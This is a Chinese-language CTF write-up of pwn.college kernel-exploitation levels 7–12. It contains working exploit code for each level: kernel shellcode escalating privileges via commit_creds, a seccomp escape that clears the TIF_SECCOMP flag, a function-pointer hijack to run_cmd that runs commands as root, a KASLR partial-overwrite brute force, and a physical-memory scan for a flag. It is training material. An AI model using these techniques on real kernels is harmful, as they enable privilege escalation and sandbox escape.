char *scTmp = "\x56\x48\xc7\xc6\xc0\x90\x08\x81\x57\x48\x31\xff\xff\xd6\x48\x89\xc7\x48\xc7\xc6\x80\x8d\x08\x81\xff\xd6\x5f\x5e\xc3";
char *shellcode;
shellcode = mmap((void*)0x81036000, 0x2000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED| MAP_ANON, -1, 0);
if(shellcode == NULL) {
printf("mmap fail!\n");
exit(-1);
}
memcpy(shellcode, "\x50\x00\x00\x00\x00\x00\x00\x00", 8);
memcpy(shellcode + 8, scTmp, 35); // commit_creds(prepare_kernel_cred(0));
memset(shellcode + 8 + 35, 0x90, 4061);
memcpy(shellcode + 4104, "\x00\x50\x08\x00\x00\xc9\xff\xff", 8);
int fd = open("/proc/pwncollege", O_RDWR);
printf("%p\n", shellcode);
ioctl(fd, 1337, shellcode);
system("cat /flag");
return 0;
}

后记

一开始二杯了,地址弄错了结果以为shellcode是不可执行的,然后跟熊哥学了一手利用xchg eax, esp做栈迁移rop的方法,但是不懂什么原因最后一直调不通……

level7.1

一样

level8.0

stucked for a long time
因为网上也找不到wp,就在看完简单的介绍以后翻discord的历史记录,陆续有了思路,然后各种尝试和调试,才做了出来

总的来说还是挺有意思的,从kernel中修改一个标志位从而绕过沙箱

background

沙箱逃逸
linux 5.4有效
新版linux中貌似没有看到TIF_SECCOMP,也没有深究该方法是否仍然有效

flags is a bit field that, among many other things, holds a bit named TIF_SECCOMP

/arch/x86/include/asm/thread_info.h

1
2
3
4
5
6
#define TIF_SECCOMP		8	/* secure computing */

struct thread_info {
unsigned int long flags; /* low level flags */
u32 status; /* thread synchronous flags */
};
1
2
3
4
5
6
7
8
9
struct task_struct {
#ifdef CONFIG_THREAD_INFO_IN_TASK
/*
* For reasons of header soup (see current_thread_info()), this
* must be the first element of task_struct.
*/
struct thread_info thread_info;
...
...

/include/linux/seccomp.h

1
2
3
4
5
6
static inline int secure_computing(const struct seccomp_data *sd)
{
if (unlikely(test_thread_flag(TIF_SECCOMP)))
return __secure_computing(sd);
return 0;
}

/kernel/seccomp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __secure_computing(const struct seccomp_data *sd)
{
int mode = current->seccomp.mode;
int this_syscall;

if (IS_ENABLED(CONFIG_CHECKPOINT_RESTORE) &&
unlikely(current->ptrace & PT_SUSPEND_SECCOMP))
return 0;

this_syscall = sd ? sd->nr :
syscall_get_nr(current, task_pt_regs(current));

switch (mode) {
case SECCOMP_MODE_STRICT:
__secure_computing_strict(this_syscall); /* may call do_exit */
return 0;
case SECCOMP_MODE_FILTER:
return __seccomp_filter(this_syscall, sd, false);
/* Surviving SECCOMP_RET_KILL_* must be proactively impossible. */
case SECCOMP_MODE_DEAD:
WARN_ON_ONCE(1);
do_exit(SIGKILL);
return -1;
default:
BUG();
}
}

可以看到secure_computing(const struct seccomp_data *sd)中检测TIF_SECCOMP标志位,如果不为空则进入__secure_computing(const struct seccomp_data *sd)中,而后者就是实现沙箱的函数了

接着溯源,TIF_SECCOMP来自flags,是thread_info结构体的一个变量,而thread_info又是task_struct结构体的一个变量。

task_struct结构体,即Linux内核的进程控制块
所以如果能够执行current_task_struct->thread_info.flags &= ~(1<<TIF_SECCOMP),就能在当前进程完成沙箱逃逸(escaping seccomp)

题目

环境里给了两个文件,一个elf文件,一个ko文件
看一下权限

1
2
3
4
5
6
hacker@babykernel_level8:~$ ls ../../challenge/ -la
total 288
drwsr-xr-x 1 root root 4096 Mar 8 12:51 .
drwxr-xr-x 1 root root 4096 Mar 8 12:51 ..
-rwsr-xr-x 1 root root 17528 Nov 20 07:29 babykernel_level8.1
-rwsr-xr-x 1 root root 265800 Nov 20 01:23 babykernel_level8.1.ko

权限分三组:属主 属组 其他用户 U+G+O
U user
G group
O other

elf文件对我们来说是可执行的,代码大致如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+24h] [rbp-1Ch]
unsigned int v5; // [rsp+28h] [rbp-18h]
int v6; // [rsp+2Ch] [rbp-14h]
__int64 v7; // [rsp+38h] [rbp-8h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
puts("You may upload custom shellcode to do whatever you want.\n");
puts("For extra security, this challenge will only allow certain system calls!\n");
v5 = open("/proc/pwncollege", 1);
printf("Opened `/proc/pwncollege` on fd %d.\n", v5);
puts(&byte_4022A5);
if ( mmap(0x31337000, 0x1000uLL, 7, 34, 0, 0LL) != 825454592 )
__assert_fail("shellcode == (void *)0x31337000", "<stdin>", 0x62u, "main");
printf("Mapped 0x1000 bytes for shellcode at %p!\n", 0x31337000);
puts("Reading 0x1000 bytes of shellcode from stdin.\n");
v6 = read(0, 0x31337000, 0x1000uLL);
puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(825454592LL, v6);
puts(&byte_4022A5);
puts("Restricting system calls (default: allow).\n");
v7 = seccomp_init(2147418112LL);
for ( i = 0; i <= 511; ++i )
{
if ( i == 1 )
{
printf("Allowing syscall: %s (number %i).\n", "write", 1LL);
}
else if ( seccomp_rule_add(v7, 0LL, i, 0LL) )
{
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_KILL, i, 0) == 0", "<stdin>", 0x78u, "main");
}
}
puts("Executing shellcode!\n");
if ( seccomp_load(v7) )
__assert_fail("seccomp_load(ctx) == 0", "<stdin>", 0x7Du, "main");
MEMORY[0x31337000]();
puts("### Goodbye!");
return 0;
}

看到打开了/proc/pwncollege,然后允许输入0x1000长度的shellcode,并添加了一堆禁用的系统调用,只留了一个write。最后会执行我们输入的shellcode

在看一下这次/proc/pwncollege是只允许root读写的

1
2
hacker@vm_babykernel_level8:~$ ls ../../proc/ -la | grep pwn
-rw------- 1 root root 0 Mar 8 14:08 pwncollege

device_write

write将从用户空间复制v5长度的shellcode然后执行

1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t v5; // rdx
__int64 v6; // rbp

printk(&unk_528, file, buffer, length, offset);
v5 = 4096LL;
if ( length <= 0x1000 )
v5 = length;
v6 = copy_from_user(shellcode, buffer, v5);
(shellcode)();
return length - v6;
}

思路

用户空间执行elf文件,写入shellcode,其中调用write,将使用在内核态的shellcode写入,让内核态执行的shellcode将当前进程flags对应的TIF_SECCOMP标志位清零,然后执行cred_commit(prepare_kernel_cred(0))提权,接下来ret返回用户态,接着在用户态执行orw读出flag

如何寻找TIF_SECCOMP?
查看官方给出的本地样例并进行调试(或者直接看IDA反汇编ko)
样例代码:

1
current->thread_info.flags &= ~_TIF_SECCOMP;

对应汇编
1
2
3
.text:000000000000006E                 mov     rbx, gs:current_task
...
.text:0000000000000086 and qword ptr [rbx], 0FFFFFFFFFFFFFEFFh

也就是说我们能够通过gs寄存器加上特定偏移指向current->thread_info.flags
动态调式发现这个偏移是0x15d00

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import*
context.arch="amd64"

r = process("../../challenge/babykernel_level8.0")

sc = """
mov rax, 1
mov rdi, 3
lea rsi, [rip+kernel_shellcode]
mov rdx, 0x200
syscall

/* open('/flag') */
mov rax, 0x67616c662f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
xor rax, rax
mov rdi, 4
mov rsi, rbp
mov rdx, 0x50
syscall
mov rax, 1
mov rdi, 1
mov rsi, rbp
mov rdx,0x50
syscall
ret


kernel_shellcode:
push rbx
mov rbx, gs:0x15d00
and qword ptr [rbx], 0xFFFFFFFFFFFFFEFF
pop rbx
push rsi
mov rsi, 0xffffffff810890c0
push rdi
xor rdi, rdi
call rsi
mov rdi, rax
mov rsi, 0xffffffff81088d80
call rsi
pop rdi
pop rsi
ret
"""
r.sendline(asm(sc))

r.interactive()

后记

可能有人会跟我一样想到,即然完成了seccomp escape,又提了权,那拿shell再cat不也能读flag吗?
事实上我也尝试了,然后发现能够获得shell但是不管输入什么,都只会看到bad system call。也就是说,沙箱处于正常运作中。

根本原因在于:我们修改的只是当前进程对应flags中的标志位
执行execve("/bin/sh",0,0)时,实际上

execve函数在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序

而子进程中task对应的flags中TIF_SECCOMP仍然存在,seccomp保持正常的执行,所以会只会得到bad system call

iow,本题展示的方法仅仅对当前进程逃逸沙箱有效

收获颇丰的一道题

level8.1

no deference

level9.0

device_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
__int64 v4; // rcx
device_write::$E0E722039EE6959F0A964D09D15C93E1 *p_logger; // rdi
__int64 v7; // rbp
device_write::$E0E722039EE6959F0A964D09D15C93E1 logger; // [rsp+0h] [rbp-120h] BYREF
unsigned __int64 v10; // [rsp+108h] [rbp-18h]

v4 = 66LL;
v10 = __readgsqword(0x28u);
p_logger = &logger;
while ( v4 )
{
*p_logger->buffer = 0;
p_logger = (p_logger + 4);
--v4;
}
printk(&unk_11C0);
logger.log_function = &printk;
if ( length > 0x108 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 264LL, length);
BUG();
}
v7 = copy_from_user(&logger, buffer, length);
logger.log_function(&logger);
return length - v7;
}

往栈上写东西,然后执行logger.log_function(&logger);而参数&logger即为我们输入的栈地址,log_function位于&logger+0x100,被初始化为&printk
允许读入0x108字节

思路

不难看出应该是要修改函数指针,执行特定的函数,同时能沟通控制第一个参数

考虑利用run_cmd函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int run_cmd(const char *cmd)
{
char **argv;
static char *envp[] = {
"HOME=/",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
int ret;
argv = argv_split(GFP_KERNEL, cmd, NULL);
if (argv) {
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
argv_free(argv);
} else {
ret = -ENOMEM;
}

return ret;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* call_usermodehelper() - prepare and start a usermode application
* @path: path to usermode executable
* @argv: arg vector for process
* @envp: environment for process
* @wait: wait for the application to finish and return status.
* when UMH_NO_WAIT don't wait at all, but you get no useful error back
* when the program couldn't be exec'ed. This makes it safe to call
* from interrupt context.
*
* This function is the equivalent to use call_usermodehelper_setup() and
* call_usermodehelper_exec().
*/
int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;

info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
NULL, NULL, NULL);
if (info == NULL)
return -ENOMEM;

return call_usermodehelper_exec(info, wait);
}

大概就是run_cmd里面调用了call_usermodehelper,该函数可以在内核中直接新建和运行用户空间程序(prepare and start a usermode application
并且该程序具有root权限,只要将参数传递正确就可以执行任意命令。
该函数与execve的函数参数相似,第一个参数必须是程序的全/绝对路径(STATIC_USERMODEHELPER_PATH

exp

/home/hacker/orw写下命令,把flag存起来
直接cat看不到flag,因为命令在内核中执行的就不太知道输出到哪了

1
cat /flag > /home/hacker/ans

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <assert.h>
#include <unistd.h>

int main() {
int fd = open("/proc/pwncollege", O_RDWR);
assert(fd > 0);
char scTmp[0x108] = "/bin/sh /home/hacker/orw";
memcpy(scTmp+24, "\x00\x00", 2);
memcpy(scTmp+0x100, "\x70\x95\x08\x81\xff\xff\xff\xff", 8); //run_cmd
write(fd, scTmp, 0x108);
printf("%d\n", getuid());
close(fd);
return 0;
}

level9.1

same

level10.0

内容和level9.0一样,区别在于这里开启了kaslr

那么我们可以利用partial overwrite的思想覆盖后三个字节,爆破1/16就行了

注意每次失败后要执行vm restart

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <assert.h>
#include <unistd.h>
// 0xffffffffb44b6319
// 0xffffffffb4489570

int main() {
int fd = open("/proc/pwncollege", O_RDWR);
assert(fd > 0);
char scTmp[0x108] = "/bin/sh /home/hacker/orw";
memcpy(scTmp+24, "\x00\x00", 2);
memcpy(scTmp+0x100, "\x70\x95\x48", 3); //run_cmd
write(fd, scTmp, 0x103);
printf("%d\n", getuid());
close(fd);
return 0;
// run_cmd 0xffffffff8fe89570
}

level10.1

一样

level11.0

也是有意思的一题

形式上和level8类似,同样需要运行elf文件输入shellcode,利用驱动把部分shellcode写到内核空间并执行

device_write

1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t v5; // rdx
__int64 v6; // rbp

printk(&unk_F08, file, buffer, length, offset);
v5 = 4096LL;
if ( length <= 0x1000 )
v5 = length;
v6 = copy_from_user(shellcode, buffer, v5);
((void (*)(void))shellcode)();
return length - v6;
}

题目

load_flag

和level8相比,本题区别在于程序会在子进程中把flag读到bss段上然后进入死循环
父进程在子进程读完flag以后,会使用unlink删除flag文件,然后上沙箱ban掉除了write的系统调用,最后输入并执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int load_flag()
{
int fd; // [rsp+4h] [rbp-Ch]
sem_t *sem; // [rsp+8h] [rbp-8h]

puts("Attempting to load the flag into memory.\n");
sem = (sem_t *)mmap(0LL, 0x1000uLL, 3, 33, 0, 0LL);
sem_init(sem, 1, 0);
if ( !fork() )
{
fd = open("/flag", 0);
if ( fd < 0 )
exit(1);
read(fd, &flag_17387, 0x100uLL);
close(fd);
sem_post(sem);
while ( 1 )
sleep(1u);
}
return sem_wait(sem);
}
1
2
load_flag();
unlink("/flag");

背景

根据进程虚拟内存的知识我们知道程序里各种段的地址都是物理地址映射到虚拟地址空间中的,而物理内存是整个系统共享的
所以第一,子进程把flag读到bss段上但父进程的bss段上并没有数据;
第二,子进程读入的数据必然存在于物理内存中,那么我们就可以考虑通过在kernel中执行shellcode对flag进行搜索,具体来可以通过比较flag开头的几个字符确定

事实上kernel提供了宏定义(macros)进行虚拟地址和物理地址之间的转换
phys_to_virt()将一个物理地址转换成虚拟地址
virt_to_phys()将一个虚拟地址转换成物理地址

phys_to_virt(i)其实等价于page_offset_base+i

对于本题来说,flag实际上会存在于一个物理地址,这个物理地址是page_offset_base+?*0x1000+0x120

最后,由于当前环境没有开启kaslr,经过调试可以发现page_offset_base是一个定值为0xffff888000000000

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.arch = "amd64"

base="echo -ne {} | /challenge/babykernel_level11.0"
kernel_code="""
mov rbx,0x6c6c6f632e6e7770
xor rdi,rdi
add rdi,0x120
xor rdx,rdx
mov rsi,0xffff888000000000

loop:
add rdi, 0x1000
cmp rbx,qword ptr [rsi+rdi]
jnz loop

push rsi
push rdi
xor rcx, rcx
add rsi,rdi
lea rdi,[rip+16]
mov rdx, rsi
mov rcx, 0xffffffff810b6319
call rcx
pop rdi
pop rsi
jmp loop
"""

s="flag:%s addr:0x%llx\x00"

code="""
mov rax,1
mov rdi,3
mov rsi,0x3133701f
mov rdx,{}
syscall
ret
""".format(len(s)+len(asm(kernel_code)))
print code+kernel_code

code=asm(code+kernel_code)
code+=s

result="\'"
for x in code:
result+='\\x{}'.format(str(hex(ord(x))[2:]))
result+='\''
print(base.format(result))

后记

  • 避免使用pwntools运行程序输入shellcode,会发生很多意料之外的事情,原因可能在于python进程对内核空间产生了影响。所以最后直接使用echo输入shellcode
  • 有时候可能由于不明的原因会出现搜索时步长0x1000找不到的情况,可以选择每次加一来找,因为物理空间的地址都是连续的所以也不会在找到flag之前crash,只不过逐地址比较需要多次打印。因为有的是其他进程残留的内容实际上不是flag
  • 打印地址的时候尝试使用%p失败,是因为这里%p会自动hashed来避免kernel内存地址的泄露
  • 特别感谢熊哥的帮助

level11.1

level12.0

题目

load_file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__pid_t load_flag()
{
int fd; // [rsp+Ch] [rbp-4h]

puts("Attempting to load the flag into memory.\n");
if ( !fork() )
{
fd = open("/flag", 0);
if ( fd < 0 )
exit(1);
read(fd, &flag_17353, 0x100uLL);
close(fd);
exit(0);
}
return wait(0LL);
}

和level11唯一的区别在于这一次子进程在读完flag之后直接exit了

exp

在解题思路上和level11没有区别。

最后放一张效果图
qIhYB6.png

level12.1

写在最后

断断续续的写完了,其实跨越时间还蛮长的(
总的来说还是蛮有意思的,算是小有收获,也顺便练习了一下洋文了